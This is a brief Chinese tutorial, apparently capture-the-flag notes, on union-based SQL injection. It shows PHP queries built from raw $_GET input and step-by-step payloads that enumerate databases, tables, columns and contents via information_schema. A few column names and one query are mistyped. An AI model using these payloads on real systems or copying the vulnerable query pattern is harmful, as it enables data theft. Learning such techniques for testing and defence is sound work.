SQL注入(SQLi)是一种注入攻击,,可以执行恶意SQL语句。它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器。
语句:
语句A union 语句B
关键:
1.字段名按位置关系继承
2.若只回显B语句,让A结果为空
3.前后两语句返回字段数必须相等(确定字段数)
确定字段数、回显位-->查数据库-->查表-->查字段数-->查内容
PHP源码:
select * from tablename where id = $_GET['id']
确定字段数和回显位:xxx union select 1
、xxx union select 1,2
……
xxx为不存在的用户名,使语句A返回结果为空
查数据库:
select * from tableName where id = xxx union select 1,group_concat(schema_name),3 from information_schema.schemata
information_schema
库的schemata
表保存了所有数据库的名称 schemata_name
,tables
表保存了所有的表名 table_name
列对应数据库名table_scema
,columns
表保存了所有字段名column_name
列对应表名table_name
和数据库名table_shcema
。
查询表
select * from tablename where id = xxx union select 1,group_concat(table_name),3 from information_schema.tables
查询字段
select * from tablename where id = xxx union select 1,group_concat(column_name),3 from information_schema.columns where table_name="flag"
查内容
select * from tablename where id = xxx union select 1,group_concat(theflagcolumn),3 from xxxtable
PHP源码
select * from tableName where username='$_GET['username']' and username='$_GET['password']'
关键:通过注释符#
将后面的引号注释,使注入语句脱离引号。(URL中%23为#的编码)
确定字段数和回显位:xxx' union select 1 #'
、xxx' union select 1,2 #'
……
查数据库:
select * from tableName where id = 'xxx' union select 1,group_concat(schema_name),3 from information_schema.schemata #'
查询表
select * from tablename where id = 'xxx' union select 1,group_concat(table_name),3 from information_schema.tables #'
查询字段
select * from tablename where id = 'xxx' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="flag" #'
查内容
select * from tablename where id = 'xxx' union select 1,group_concat(theflagcolumn),3 from xxxtable #'